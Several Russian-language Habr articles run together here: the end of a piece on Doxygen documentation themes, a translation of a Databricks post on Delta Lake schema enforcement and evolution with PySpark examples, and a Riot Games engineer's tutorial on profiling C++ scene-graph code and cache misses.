Обратите внимание на значение параметров *url* и *title*, первый обеспечивает переход на habrahabr.ru при щелчке на данную вкладку, а второй отражает текст на вкладке.
Результат будет выглядеть следующим образом:
#### **Примеры оформления документации**
После того, как мы разобрались с тем, как можно настроить оформление документации, пришла пора посмотреть уже на готовые примеры, которые можно использовать для своих проектов.
##### **Qt4 тема**
Ниже представлен образец документации созданной на основе [темы, копирующей документацию](https://github.com/skozlovf/doxygen-qmi-style) Qt четвёртой версии.
##### **Bootstrap тема**
Специально для поклонников [Bootstrap](http://bootstrap-3.ru/index.php) была создана [соответствующая тема](https://github.com/Velron/doxygen-bootstrapped/).
##### **Ещё два примера**
По [следующей ссылке](https://github.com/nnen/doxygen-theme) можно ознакомиться и скачать сразу две темы для оформления документации.
#### **Заключение**
Подводя итог хотелось бы отметить, что достаточно сложно было найти готовые темы для документации, однако на самом деле функционал, который предоставляет Doxygen для настройки оформления, очень обширен и позволяет легко настроить документацию под ваш вкус, поэтому буду надеяться, что эта статья поможем вам сделать вашу документацию красивее и приятнее для читателя.
Спасибо за внимание! | https://habr.com/ru/post/252443/ | null | ru | null |
# Погружение в Delta Lake: принудительное применение и эволюция схемы
***Привет, Хабр! Представляю вашему вниманию перевод статьи [«Diving Into Delta Lake: Schema Enforcement & Evolution»](https://databricks.com/blog/2019/09/24/diving-into-delta-lake-schema-enforcement-evolution.html) авторов Burak Yavuz, Brenner Heintz and Denny Lee, который был подготовлен в преддверии старта курса [«Data Engineer»](https://otus.pw/J1P5/) от OTUS.***
---
Данные, как и наш опыт, постоянно накапливаются и развиваются. Чтобы не отставать, наши ментальные модели мира должны адаптироваться к новым данным, некоторые из которых содержат новые измерения — новые способы наблюдать вещи, о которых раньше мы не имели представления. Эти ментальные модели мало чем отличаются от схем таблиц, определяющих, как мы классифицируем и обрабатываем новую информацию.
Это подводит нас к вопросу управления схемами. По мере того, как бизнес задачи и требования меняются со временем, меняется и структура ваших данных. Delta Lake позволяет легко внедрять новые измерения при изменении данных. Пользователи имеют доступ к простой семантике для управления схемами своих таблиц. Эти инструменты включают принудительное применение схемы (Schema Enforcement), которое защищает пользователей от непреднамеренного засорения своих таблиц ошибками или ненужными данными, а также эволюцию схемы (Schema Evolution), которая позволяет автоматически добавлять новые столбцы с ценными данными в соответствующие места. В этой статье мы углубимся в использование этих инструментов.
Понимание схем таблиц
---------------------
Каждый DataFrame в Apache Spark содержит схему, которая определяет форму данных, такую как типы данных, столбцы и метаданные. С помощью Delta Lake схема таблицы сохраняется в формате JSON внутри журнала транзакций.
Что такое принудительное применение схемы?
------------------------------------------
Принудительное применение схемы (Schema Enforcement), также известное как проверка схемы (Schema Validation), является защитным механизмом в Delta Lake, который гарантирует качество данных, отклоняя записи, которые не соответствуют схеме таблицы. Как и хостес на стойке регистрации в популярном ресторане, который принимает только по предварительной брони, он проверяет, есть ли каждый столбец данных, вводимых в таблицу, в соответствующем списке ожидаемых столбцов (другими словами, есть ли для каждого из них «бронь»), и отклоняет любые записи со столбцами, которых нет в списке.
Как работает принудительное применение схемы?
---------------------------------------------
Delta Lake использует проверку схемы при записи, что означает, что все новые записи в таблицу проверяются на совместимость со схемой целевой таблицы во время записи. Если схема несовместима, Delta Lake полностью отменяет транзакцию (данные не записываются) и создает исключение, чтобы сообщить пользователю о несоответствии.
Для определения совместимости записи с таблицей Delta Lake использует следующие правила. Записываемый DataFrame:
* не может содержать дополнительные столбцы, которых нет в схеме целевой таблицы. И наоборот, все в порядке, если входящие данные не содержат абсолютно все столбцы из таблицы — этим столбцам просто будут присвоены нулевые значения.
* не может иметь типы данных столбцов, которые отличаются от типов данных столбцов в целевой таблице. Если столбец целевой таблицы содержит данные StringType, но соответствующий столбец в DataFrame содержит данные IntegerType, принудительное применение схемы вызовет исключение и предотвратит выполнение операции записи.
* не может содержать имена столбцов, которые отличаются только регистром. Это значит, что вы не можете иметь столбцы с именами 'Foo' и 'foo', определенные в одной таблице. Хотя Spark можно использовать в чувствительном или нечувствительном (по умолчанию) к регистру режиме, Delta Lake сохраняет регистр, но нечувствителен в рамках хранении схемы. Parquet чувствителен к регистру при хранении и возврате информации столбца. Чтобы избежать возможных ошибок, повреждения данных или их потери (с чем мы лично сталкивались в Databricks), мы решили добавить это ограничение.
Чтобы проиллюстрировать это, давайте взглянем на то, что происходит в приведенном ниже коде при попытке добавить некоторые недавно сгенерированные столбцы в таблицу Delta Lake, которая еще не настроена для их принятия.
```
# Сгенерируем DataFrame ссуд, который мы добавим в нашу таблицу Delta Lake
loans = sql("""
SELECT addr_state, CAST(rand(10)*count as bigint) AS count,
CAST(rand(10) * 10000 * count AS double) AS amount
FROM loan_by_state_delta
""")
# Вывести исходную схему DataFrame
original_loans.printSchema()
root
|-- addr_state: string (nullable = true)
|-- count: integer (nullable = true)
# Вывести новую схему DataFrame
loans.printSchema()
root
|-- addr_state: string (nullable = true)
|-- count: integer (nullable = true)
|-- amount: double (nullable = true) # new column
# Попытка добавить новый DataFrame (с новым столбцом) в существующую таблицу
loans.write.format("delta") \
.mode("append") \
.save(DELTALAKE_PATH)
Returns:
A schema mismatch detected when writing to the Delta table.
To enable schema migration, please set:
'.option("mergeSchema", "true")\'
Table schema:
root
-- addr_state: string (nullable = true)
-- count: long (nullable = true)
Data schema:
root
-- addr_state: string (nullable = true)
-- count: long (nullable = true)
-- amount: double (nullable = true)
If Table ACLs are enabled, these options will be ignored. Please use the ALTER TABLE command for changing the schema.
```
Вместо автоматического добавления новых столбцов, Delta Lake навязывает схему и останавливает запись. Чтобы помочь определить какой столбец (или их множество) является причиной несоответствия, Spark выводит обе схемы из стек трейса для сравнения.
В чем польза принудительного применения схемы?
----------------------------------------------
Поскольку принудительное применение схемы представляет из себя достаточно строгую проверку, оно является отличным инструментом для использования в качестве привратника чистого, полностью преобразованного набора данных, который готов к производству или потреблению. Как правило, применяется к таблицам, которые непосредственно подают данные:
* Алгоритмам машинного обучения
* BI дашбордам
* Аналитике данных и инструментам визуализации
* Любой производственной системе, требующей строго структурированных, строго типизированных семантических схем.
Чтобы подготовить свои данные к этому финальному барьеру, многие пользователи используют простую “multi-hop” архитектуру, которая постепенно вносит структуру в их таблицы. Чтобы узнать об этом больше, вы можете ознакомиться со статьей [Машинное обучение производственного уровня с Delta Lake.](https://databricks.com/blog/2019/08/14/productionizing-machine-learning-with-delta-lake.html)
Конечно, принудительное применение схемы можно использовать в любом месте вашего пайплайна, но помните, что потоковая запись в таблицу в таком случае может быть фрустрирующей, из-за того что, например, вы забыли, что добавили еще один столбец во входящие данные.
Предотвращение разжижения данных
--------------------------------
К этому момент вы можете задаться вопросом, из-за чего такой ажиотаж? В конце концов, иногда неожиданная ошибка «несоответствия схемы» может подставить вам подножку в вашем рабочем процессе, особенно если вы новичок в Delta Lake. Почему бы просто не позволить схеме измениться так, как нужно для того, чтобы я мог записать свой DataFrame, несмотря ни на что?
Как гласит старая поговорка, «унция профилактики стоит фунта лечения». В какой-то момент, если вы не позаботитесь о применении своей схемы, поднимут свои отвратительные головы проблемы с совместимостью типов данных — на первый взгляд однородные источники необработанных данных могут содержать пограничные случаи, поврежденные столбцы, неправильно сформированные отображения или другие страшные вещи, которые снятся в кошмарах. Лучший подход состоит в том, чтобы останавливать этих врагов у ворот — с помощью принудительного применения схемы — и иметь дело с ними на свету, а не позже, когда они начнут рыскать в темных глубинах вашего рабочего кода.
Принудительное применение схемы дает уверенность в том, что схема вашей таблицы не изменится, если только вы сами не подтвердите вариант изменения. Это предотвращает «разжижение» (dilution) данных, которое может происходить, когда новые столбцы добавляются так часто, что ранее ценные, сжатые таблицы теряют свое значение и полезность из-за наводнения данными. Поощряя вас быть преднамеренным, устанавливать высокие стандарты и ожидать высокого качества, принудительное применение схемы делает именно то, для чего было предназначено — помогать вам оставаться добросовестными, а вашим таблицам — чистыми.
Если при дальнейшем рассмотрении вы решите, что вам на самом деле *нужно* добавить новый столбец — никаких проблем, ниже приведен однострочный фикс. Решение — эволюция схемы!
Что такое эволюция схемы?
-------------------------
Эволюция схемы — это функция, которая позволяет пользователям легко изменять текущую схему таблицы в соответствии с данными, которые меняются с течением времени. Чаще всего она используется при выполнении операции добавления или перезаписи, чтобы автоматически адаптировать схему для включения одного или нескольких новых столбцов.
Как работает эволюция схемы?
----------------------------
Следуя примеру из предыдущего раздела, разработчики могут легко использовать эволюцию схемы для добавления новых столбцов, которые ранее были отклонены из-за несоответствия схеме. Эволюция схемы активируется путем добавления `.option('mergeSchema', 'true')` к вашей Spark команде `.write или .writeStream.`
```
# Добавьте параметр mergeSchema
loans.write.format("delta") \
.option("mergeSchema", "true") \
.mode("append") \
.save(DELTALAKE_SILVER_PATH)
```
Для просмотра графика выполните следующую Spark SQL запрос
```
# Создайте график с новым столбцом, чтобы подтвердить, что запись прошла успешно
%sql
SELECT addr_state, sum(`amount`) AS amount
FROM loan_by_state_delta
GROUP BY addr_state
ORDER BY sum(`amount`)
DESC LIMIT 10
```
В качестве альтернативы, вы можете установить эту опцию для всей сессии Spark, добавив `spark.databricks.delta.schema.autoMerge = True` в конфигурацию Spark. Но пользуйтесь этим с осторожностью, поскольку принудительное применение схемы больше не будет предупреждать вас о непреднамеренных несоответствиях схеме.
Включив в запрос параметр `mergeSchema`, все столбцы, которые присутствуют в DataFrame, но отсутствуют в целевой таблице, автоматически добавляются в конец схемы в рамках транзакции записи. Также могут быть добавлены вложенные поля, и они также будут добавлены в конец соответствующих столбцов структуры.
Дата инженеры и ученые могут использовать эту опцию, чтобы добавить новые столбцы (возможно, недавно отслеживаемую метрику или столбец показателей продаж в этом месяце) в свои существующие производственные таблицы машинного обучения, не нарушая существующие модели, основанные на старых столбцах.
Следующие типы изменений схемы допустимы в рамках эволюцию схемы во время добавления или перезаписи таблицы:
* Добавление новых столбцов (это наиболее распространенный сценарий)
* Изменение типов данных из NullType -> любой другой тип или повышение из ByteType -> ShortType -> IntegerType
Другие изменения, недопустимые в рамках эволюции схемы, требуют, чтобы схема и данные были перезаписаны путем добавления `.option("overwriteSchema", "true")`. Например, в случае, когда столбец «Foo» изначально был integer, а новая схема была бы строкового типа данных, тогда все файлы Parquet (data) необходимо было бы перезаписать. К таким изменениям относятся:
* удаление столбца
* изменение типа данных существующего столбца (на месте)
* переименование столбцов, которые отличаются только регистром (например, «Foo» и «foo»)
Наконец, со следующим релизом Spark 3.0 будет полностью поддерживаться явный DDL (с использованием ALTER TABLE), что позволит пользователям выполнять следующие действия над схемами таблиц:
* добавление столбцов
* изменение комментариев к столбцам
* настройка свойств таблицы, определяющих поведение таблицы, например, установка продолжительности хранения журнала транзакций.
В чем польза эволюция схемы?
----------------------------
Эволюцию схемы можно использовать всегда, когда вы *намереваетесь* изменить схему своей таблицы (в противовес тем случаям, когда вы случайно добавили в свой DataFrame столбцы, которых там быть не должно). Это самый простой способ мигрировать вашу схему, потому что он автоматически добавляет правильные имена столбцов и типы данных без необходимости их явного объявления.
Заключение
----------
Принудительное применение схемы отклоняет любые новые столбцы или другие изменения схемы, которые не совместимы с вашей таблицей. Устанавливая и поддерживая эти высокие стандарты, аналитики и инженеры могут полагаться на то, что их данные имеют высочайший уровень целостности, рассуждая об этом четко и ясно, что позволяет им принимать более эффективные бизнес-решения.
С другой стороны, эволюция схемы дополняет принудительное применение, упрощая *предполагаемые* автоматические изменений схемы. В конце концов, это не должно быть сложностью — добавить столбец.
Принудительное применение схемы — это янь, где эволюции схемы — это инь. При совместном использовании эти функции как никогда упрощают подавление шума и настройку сигнала.
*Мы также хотели бы поблагодарить Мукула Мурти и Пранава Ананда за их вклад в эту статью.*
Другие статьи из этой серии:
[Погружение в Delta Lake: распаковка журнала транзакций](https://databricks.com/blog/2019/08/21/diving-into-delta-lake-unpacking-the-transaction-log.html)
Статьи по теме
--------------
[Машинное обучение производственного уровня с Delta Lake](https://databricks.com/blog/2019/08/14/productionizing-machine-learning-with-delta-lake.html)
[Что такое озеро данных?](https://databricks.com/discover/data-lakes/introduction)
---
[Узнать о курсе подробнее](https://otus.pw/J1P5/)
--- | https://habr.com/ru/post/502324/ | null | ru | null |
# Профилирование: измерение и анализ
Привет, я Тони Альбрехт (Tony Albrecht), инженер в Riot. Мне нравится профилировать и оптимизировать. В этой статье я расскажу об основах профилирования, а также проанализирую пример С++-кода в ходе его профилирования на Windows-машине. Мы начнём с самого простого и будем постепенно углубляться в потроха центрального процессора. Когда нам встретятся возможности оптимизировать — мы внедрим изменения, а в следующей статье разберём реальные примеры из кодовой базы игры League of Legends. Поехали!
Обзор кода
----------
Сначала взглянем на код, который собираемся профилировать. Наша программа — это простой маленький OpenGL-рендерер, объектно ориентированное, иерархические дерево сцены (scene tree). Я находчиво назвал основной объект Object’ом — всё в сцене наследуется от одного из этих базовых классов. В нашем коде от Object’а наследуются лишь Node, Cube и Modifier.
Cube — это Object, который рендерит себя на экране в виде куба. Modifier — это Object, который «живёт» в дереве сцены и, будучи Updated, преобразует добавленные нему Object’ы. Node — это Object, который может содержать другие Object’ы.
Система спроектирована так, что вы можете создавать иерархию объектов, добавляя кубики в ноды, а также одни ноды к другим нодам. Если вы преобразуете ноду (посредством модификатора), то будут преобразованы и все содержащиеся в ноде объекты. С помощью этой простой системы я создал дерево из кубов, вращающихся друг вокруг друга.
Согласен, предложенный код — не лучшая реализация дерева сцены, но ничего страшного: этот код нужен именно для последующей оптимизации. По сути, это прямое портирование примера для PlayStation3®, который я написал в 2009-м для анализа производительности в работе *Pitfalls of Object Oriented Programming*. Можно отчасти сравнить нашу сегодняшнюю статью со статьёй 9-летней давности и посмотреть, применимы ли к современным аппаратным платформам те уроки, что мы извлекли когда-то для PS3.
Но вернёмся к нашим кубикам. На приведённой выше гифке показаны около 55 тысяч вращающихся кубиков. Обратите внимание, что я профилирую не рендеринг сцены, а только анимацию и отбрасывание (culling) при передаче на рендеринг. Библиотеки, задействованные для создания примера: [Dear Imgui](https://github.com/ocornut/imgui) и Vectormath от [Bullet](http://bulletphysics.org/), обе бесплатны. Для профилирования я использовал AMD [Code XL](https://gpuopen.com/compute-product/codexl/) и простой контрольно-измерительный (instrumented) профилировщик, на скорую руку сооружённый для этой статьи.
Прежде чем переходить к делу
----------------------------
### Единицы измерения
Сначала я хочу обсудить измерение производительности. Зачастую в играх в качестве метрики используются кадры в секунду (FPS). Это неплохой индикатор производительности, однако он бесполезен при анализе частей кадра или сравнении улучшений от разных оптимизаций. Допустим, «игра теперь работает на 20 кадров в секунду быстрее!» — это вообще насколько быстрее?
Зависит от ситуации. Если у нас было 60 FPS (или 1000/60 = 16,666 миллисекунд на кадр), а теперь стало 80 FPS (1000/80 = 12,5 мс на кадр), то наше улучшение равно 16,666 мс – 12,5 мс = 4,166 мс на кадр. Это хороший прирост.
Но если у нас было 20 FPS, а теперь стало 40 FPS, то улучшение уже равно (1000/20 – 1000/40) = 50 мс – 25 мс = 25 мс на кадр! Это мощный прирост производительности, который может превратить игру из «неиграбельной» в «приемлемую». Проблема метрики FPS в том, что она относительна, так что мы будем всегда использовать миллисекунды. Всегда.
### Проведение замеров
Существует несколько типов профилировщиков, каждый со своими достоинствами и недостатками.
#### Контрольно-измерительные профилировщики
Для контрольно-измерительных (instrumented) профилировщиков программист должен вручную пометить фрагмент кода, производительность которого нужно измерить. Эти профилировщики засекают и сохраняют время начала и окончания работы профилируемого фрагмента, ориентируясь на уникальные маркеры. Например:
```
void Node::Update()
{
FT_PROFILE_FN
for(Object* obj : mObjects)
{
obj->Update();
}
}
```
В данном случае `FT_PROFILE_FN` создаёт объект, фиксирующий время своего создания, а затем и уничтожения при выпадении из области видимости. Эти моменты времени вместе с именем функции хранятся в каком-нибудь массиве для последующего анализа и визуализации. Если постараться, то можно реализовать визуализацию в коде или — чуть проще — в инструменте вроде [Chrome tracing](https://www.chromium.org/developers/how-tos/trace-event-profiling-tool).
Контрольно-измерительное профилирование великолепно подходит для визуального отображения производительности кода и выявления её всплесков. Если характеристики производительности приложения представить в виде иерархии, то можно сразу увидеть, какие функции в целом работают медленнее всего, какие вызывают больше всего других функций, у каких больше всего варьируется длительность исполнения и т. д.
На этой иллюстрации каждая цветная плашка соответствует какой-то функции. Плашки, расположенные непосредственно под другими плашками, обозначают функции, которые вызываются «вышерасположенными» функциями. Длина плашки пропорциональна длительности исполнения функции.
Хотя контрольно-измерительное профилирование даёт ценную визуальную информацию, у него всё же есть недостатки. Оно замедляет исполнение программы: чем больше вы измеряете, тем медленнее становится программа. Поэтому при написании контрольно-измерительного профилировщика постарайтесь минимизировать его влияние на производительность приложения. Если пропустите медленную функцию, то появится большой разрыв в профиле. Также вы не получите информацию о скорости работы каждой строки кода: достаточно легко можно помечать лишь области видимости, но накладные расходы контрольно-измерительного профилирования обычно сводят на нет вклад отдельных строк, так что измерять их просто бесполезно.
#### Семплирующие профилировщики
Семплирующие (sampling) профилировщики запрашивают состояние исполнения того процесса, который вы хотите профилировать. Они периодически сохраняют счётчик программы (Program Counter, PC), показывающий, какая инструкция сейчас исполняется, а также сохраняют стек, благодаря чему можно узнать, какие функции вызвала та функция, что содержит текущую инструкцию. Вся эта информация полезна, поскольку функция или строки с наибольшим количеством семплов окажутся самой медленной функцией или строками. Чем дольше работает семплирующий профилировщик, тем больше собирается семплов инструкций и стеков, что улучшает результаты.
Семплирующие профилировщики позволяют собирать очень низкоуровневые характеристики производительности программы и не требуют ручного вмешательства, как в случае с контрольно-измерительными профилировщиками. Кроме того, они автоматически покрывают всё состояние исполнения вашей программы. У этих профилировщиков есть два основных недостатка: они не слишком полезны для определения всплесков по каждому кадру, а также не позволяют узнать, когда была вызвана определённая функция относительно других функций. То есть мы получаем меньше информации об иерархических вызовах по сравнению с хорошим контрольно-измерительным профилировщиком.
#### Специализированные профилировщики
Эти профилировщики предоставляют специфическую информацию о процессах. Обычно они связаны с аппаратными элементами вроде центрального процессора или видеокарты, которые способны генерировать конкретные события, если происходит что-то вас интересующее, к примеру промах кеша или ошибочное предсказание ветвления. Производители оборудования встраивают возможность измерения этих событий, чтобы нам легче было выяснять причины низкой производительности; следовательно, для понимания этих профилей нужны знания об используемой аппаратной части.
#### Профилировщики, предназначенные для конкретных игр
На гораздо более общем уровне профилировщики, предназначенные для конкретных игр, могут подсчитывать, скажем, количество миньонов на экране или количество видимых частиц в поле зрения персонажа. Такие профилировщики тоже очень полезны, они помогут выявить высокоуровневые ошибки в игровой логике.
Профилирование
--------------
Профилирование приложения без сравнительного эталона не имеет смысла, поэтому при оптимизации необходимо иметь под рукой надёжный тестовый сценарий. Это не так просто, как кажется. Современные компьютеры выполняют не одно лишь ваше приложение, а одновременно десятки, если не сотни других процессов, постоянно переключаясь между ними. То есть другие процессы могут замедлить профилируемый вами процесс в результате конкуренции за обращение к устройствам (например, несколько процессов пытаются считать с диска) или за ресурсы процессора/видеокарты. Так что для получения хорошей отправной точки вам нужно прогнать код через несколько операций профилирования, прежде чем вы хотя бы приступите к задаче. Если результаты прогонов будут сильно различаться, то придётся разобраться в причинах и избавиться от вариативности или хотя бы снизить её.
Добившись наименьшего возможного разброса результатов, не забывайте, что небольшие улучшения (меньше имеющейся вариативности) будет трудно измерить, потому что они могут затеряться в «шуме» системы. Допустим, конкретная сцена в игре отображается в диапазоне 14—18 мс на кадр, в среднем это 16 мс. Вы потратили две недели на оптимизацию какой-нибудь функции, перепрофилировали и получили 15,5 мс на кадр. Стало ли быстрее? Чтобы выяснить точно, вам придётся прогнать игру много раз, профилируя эту сцену и вычисляя среднеарифметическое значение и строя график тренда. В описанном здесь приложении мы измеряем сотни кадров и усредняем результаты, чтобы получить достаточно надёжное значение.
Кроме того, многие игры выполняются в несколько потоков, порядок которых определяется вашим оборудованием и ОС, что может привести к недетерминированному поведению или как минимум к разной длительности исполнения. Не забывайте о влиянии этих факторов.
В связи со сказанным я собрал небольшой тестовый сценарий для профилирования и оптимизации. Он прост для понимания, но достаточно сложен, чтобы иметь ресурс значительного улучшения производительности. Обратите внимание, что ради упрощения я при профилировании отключил рендеринг, так что мы видим только те вычислительные расходы, что связаны с центральным процессором.
### Профилируем код
Ниже приведён код, который мы будем оптимизировать. Помните, что один пример лишь научит нас профилированию. Вы обязательно столкнётесь с неожиданными трудностями при профилировании собственного кода, и я надеюсь, что эта статья поможет вам создать собственный диагностический фреймворк.
```
{
FT_PROFILE("Update");
mRootNode->Update();
}
{
FT_PROFILE("GetWBS");
BoundingSphere totalVolume = mRootNode->GetWorldBoundingSphere(Matrix4::identity());
}
{
FT_PROFILE("cull");
uint8_t clipFlags = 63;
mRootNode->Cull(clipFlags);
}
{
FT_PROFILE("Node Render");
mRootNode->Render(mvp);
}
```
Я добавил в разные области видимости контрольный макрос `FT_PROFILE()`, чтобы измерять длительность исполнения разных частей кода. Ниже мы подробнее поговорим о назначении каждого фрагмента.
Когда я выполнил код и записал данные из измеренного профиля, то получил в Chrome://tracing такую картину:
Это профиль одного кадра. Здесь мы видим относительную длительность работы каждого вызова функции. Обратите внимание, что можно посмотреть и порядок выполнения. Если бы я измерил функции, которые вызываются этими вызовами функций, то они отобразились бы под плашками родительских функций. К примеру, я измерил `Node::Update()` и получил такую рекурсивную структуру вызовов:
Длительность исполнения одного кадра этого кода при измерении различается на пару миллисекунд, так что мы берём среднеарифметическое как минимум по нескольким сотням кадров и сравниваем с исходным эталоном. В данном случае измерено 297 кадров, среднее значение — 17,5 мс, одни кадры выполнялись до 19 мс, а другие — чуть меньше 16,5 мс, хотя в каждом из них выполняется практически одно и то же. Такова неявная вариативность кадров. Многократный прогон и сравнение результатов устойчиво дают нам около 17,5 мс, так что это значение можно считать надёжной исходной точкой.
Если отключить в коде контрольные метки и прогнать его через семплирующий профилировщик [AMD CodeXL](https://gpuopen.com/compute-product/codexl/), то получим такую картину:
Если мы проанализируем пять самых «востребованных» функций, то получим:
Похоже, самая медленная функция — матричное умножение. Звучит логично, поскольку для всех этих вращений функции приходится выполнять кучу вычислений. Если внимательно присмотреться к иерархии стека парой иллюстраций выше, то можно заметить, что оператор матричного умножения вызывается посредством `Modifier::Update()`, `Node::Update()`, `GetWorldBoundingSphere()` и `Node::Render()`. Он вызывается так часто и из такого количества мест — так что этот оператор можно считать хорошим кандидатом на оптимизацию.
#### Matrix::operator\*
Если с помощью семплирующего профилировщика проанализировать код, отвечающий за умножение, то можно выяснить «стоимость» выполнения каждой строки.
К сожалению, длина кода матричного умножения — всего одна строка (ради эффективности), так что нам этот результат мало что даёт. Или всё-таки не так уж мало?
Если взглянуть на ассемблер, можно выявить пролог и эпилог функции.
Это стоимость внутренней инструкции вызова функции. В прологе задаётся новое пространство стека (ESP — текущий указатель стека, EBP — базовый указатель для текущего фрейма стека), а в эпилоге выполняется очистка и возврат. При каждом вызове функции, которая не инлайнена и использует какое-либо пространство стека (т. е. имеет локальную переменную), все эти инструкции могут быть вставлены и вызваны.
Давайте развернём остальную часть функции и посмотрим, что на самом деле выполняет матричное умножение.
Ого, куча кода! И это лишь первая страница. Полная функция занимает больше килобайта кода с 250—300 инструкциями! Проанализируем начало функции.
Строка над выделенной синим цветом занимает около 10 % общего времени выполнения. Почему она выполняется гораздо медленнее соседних? Эта MOVSS-инструкция берёт из памяти по адресу eax+34h значение с плавающей запятой и кладёт в регистр xmm4. Строкой выше то же самое делается с регистром xmm1, но гораздо быстрее. Почему?
Всё дело в промахе кеша.
Разберёмся подробнее. Семплирование отдельных инструкций применимо в самых разных ситуациях. Современные процессоры в любой момент выполняют несколько инструкций, и в течение одного тактового цикла немало инструкций может быть пересортировано (retire). Даже семплирование на основе событий может приписывать события не той инструкции. Так что при анализе семплирования ассемблера необходимо руководствоваться какой-то логикой. В нашем примере наиболее семплированная инструкция может не быть самой медленной. Мы лишь можем с определённой долей уверенности говорить о медленной работе чего-то, относящегося к этой строке. А поскольку процессор выполняет ряд MOV’ов в память и из неё, то предположим, что как раз эти MOV’ы и виноваты в низкой производительности. Чтобы удостовериться в этом, можно прогнать профиль с включённым семплированием на основе событий для промахов кеша и посмотреть на результат. Но пока что доверимся инстинктам и прогоним профиль исходя из гипотезы о промахе кеша.
Пропуск кеша L3 занимает более 100 циклов (в некоторых случаях — несколько сотен циклов), а промах кеша L2 — около 40 циклов, хотя всё это сильно зависит от процессора. К примеру, x86-[инструкции](http://www.agner.org/optimize/instruction_tables.pdf) занимают от 1 примерно до 100 циклов, при этом большинство — менее 20 циклов (некоторые инструкции деления на некотором железе работают довольно медленно). На моём Core i7 инструкции умножения, сложения и даже деления занимали по несколько циклов. Инструкции попадают в конвейер, так что одновременно обрабатывается несколько инструкций. Это значит, что один промах кеша L3 — загрузка напрямую из памяти — по времени может занимать исполнение сотен инструкций. Проще говоря, чтение из памяти — очень медленный процесс.
#### Modifier::Update()
Итак, мы видим, что обращение к памяти замедляет исполнение нашего кода. Давайте вернёмся назад и посмотрим, что в коде приводит к этому обращению. Контрольно-измерительный профилировщик показывает, что `Node::Update()` выполняется медленно, а из отчёта семплирующего профилировщика о стеке очевидно, что функция `Modifier::Update()` особенно нетороплива. С этого и начнём оптимизацию.
```
void Modifier::Update()
{
for(Object* obj : mObjects)
{
Matrix4 mat = obj->GetTransform();
mat = mTransform*mat;
obj->SetTransform(mat);
}
}
```
`Modifier::Update()` проходит через вектор указателей к Object’ам, берёт их матрицу преобразования (transform matrix), умножает её на матрицу `mTransform` Modifier’а, а затем применяет это преобразование к Object’ам. В приведённом выше коде преобразование копируется из объекта в стек, умножается, а затем копируется обратно.
`GetTransform()` просто возвращает копию `mTransform`, при этом `SetTransform()` копирует в `mTransform` новую матрицу и задаёт состояние `mDirty` этого объекта:
```
void SetDirty(bool dirty)
{
if (dirty && (dirty != mDirty))
{
if (mParent)
mParent->SetDirty(dirty);
}
mDirty = dirty;
}
void SetTransform(Matrix4& transform)
{
mTransform = transform;
SetDirty(true);
}
inline const Matrix4 GetTransform() const { return mTransform; }
```
Внутренний слой данных этого Object’а выглядит так:
```
protected:
Matrix4 mTransform;
Matrix4 mWorldTransform;
BoundingSphere mBoundingSphere;
BoundingSphere mWorldBoundingSphere;
bool m_IsVisible = true;
const char* mName;
bool mDirty = true;
Object* mParent;
};
```
Для ясности я раскрасил записи в памяти объекта Node:
Первая запись — указатель виртуальной таблицы (virtual table pointer). Это часть реализации наследования в С++: указатель на массив указателей функций, которые выступают в роли виртуальных функций для этого конкретного полиморфного объекта. Для Object, Node, Modifier и любого класса, унаследованного от базового, существуют разные виртуальные таблицы.
После этого 4-байтного указателя идёт 64-байтный массив чисел с плавающей запятой. За матрицей `mTransform` идёт матрица `mWorldTransform`, а затем две ограничивающие сферы (bounding spheres). Обратите внимание, что следующая запись, `m_IsVisible`, однобайтная, она занимает 4 полных байта. Это нормально, поскольку следующая запись — указатель, который должен иметь как минимум 4-байтное выравнивание. Если после `m_IsVisible` положить другое булево значение, то оно было бы упаковано в доступные 3 байта. Далее идёт указатель `mName` (с 4-байтным выравниванием), затем булево `mDirty` (также неплотно упакованное), потом указатель на родительский Object. Всё это — характерные для Object данные. Последующий вектор `mObjects` относится уже к Node-вектору и занимает на этой платформе 12 байтов, хотя на иных платформах может быть другого размера.
Если мы рассмотрим код `Modifier::Update()`, то увидим, что может быть причиной промаха кеша.
```
void Modifier::Update()
{
for(Object* obj : mObjects)
{
```
Для начала отметим: вектор `mObjects` — это массив указателей на Object’ы, которые размещаются в памяти динамически. Итерирование по этому вектору хорошо работает с кешем (красные стрелки на иллюстрации ниже), поскольку указатели следуют один за другим. Там есть несколько промахов, но они указывают на что-то, вероятно, не адаптированное для работы с кешем. А поскольку каждый Object размещается в памяти с новым указателем, то можно сказать лишь, что наша помеха находится где-то в памяти.
Когда мы получаем указатель на Object, вызываем `GetTransform()`:
```
Matrix4 mat = obj->GetTransform();
```
Эта инлайновая функция просто возвращает копию `mTransform` Object’а, так что предыдущая строка эквивалентна этой:
```
Matrix4 mat = obj->mTransform;
```
Как вы можете видеть на диаграмме, Object’ы, на которые ссылаются указатели в массиве `mObjects`, разбросаны по памяти. Каждый раз, когда мы добавляем новый Object и вызываем `GetTransform()`, это наверняка приводит к промаху кеша при загрузке в `mTransform` и помещению в стек. На используемом мной оборудовании кеш-строка занимает 64 байта, так что если повезёт и объект начнётся за 4 байта до 64-байтной границы, то `mTransform` будет загружен в кеш целиком за раз. Но более вероятна ситуация, когда загрузка `mTransform` приведёт к двум промахам кеша. Из семплирующего профиля `Modifier::Update()` очевидно, что выравнивание матрицы выполняется произвольно.
В этом фрагменте `edx` является расположением Object’а. А как мы знаем, `mTransform` начинается за 4 байта до начала объекта. Так что этот код копирует `mTransform` в стек (MOVUPS копирует в регистр 4 невыравненных значения с плавающей запятой). Обратите на 7 % обращений к трём MOVUPS-инструкциям. Это говорит о том, то промахи кеша также встречаются и в случае с MOV’ами. Не знаю, почему первый MOVUPS в стек занимает не столько же времени, сколько остальные. Мне кажется, «затраты» просто переносятся на последующие MOVUPS из-за особенностей конвейеризации инструкций. Но в любом случае мы получили доказательство высокой стоимости обращения к памяти, так что будем с этим работать.
```
void Modifier::Update()
{
for(Object* obj : mObjects)
{
Matrix4 mat = obj->GetTransform();
mat = mTransform*mat;
obj->SetTransform(mat);
}
}
```
После умножения матрицы вызываем `Object::SetTransform()`, которая берёт результат умножения (свежепомещённый в стек) и копирует его в экземпляр Object’а. Копирование проходит быстро, потому что преобразование уже закешировано, но `SetDirty()` работает медленно, потому что считывает флаг `mDirty`, его, вероятно, нет в кеше. Так что для тестирования и, возможно, определения этого одного байта процессору приходится считывать окружающие 63 байта.
Заключение
----------
Если дочитали до конца — молодцы! Знаю, поначалу это бывает сложно, особенно если вы не знакомы с ассемблером. Но очень рекомендую найти время и посмотреть, что компиляторы делают с кодом, который они пишут. Для этого можно воспользоваться [Compiler Explorer](https://godbolt.org/).
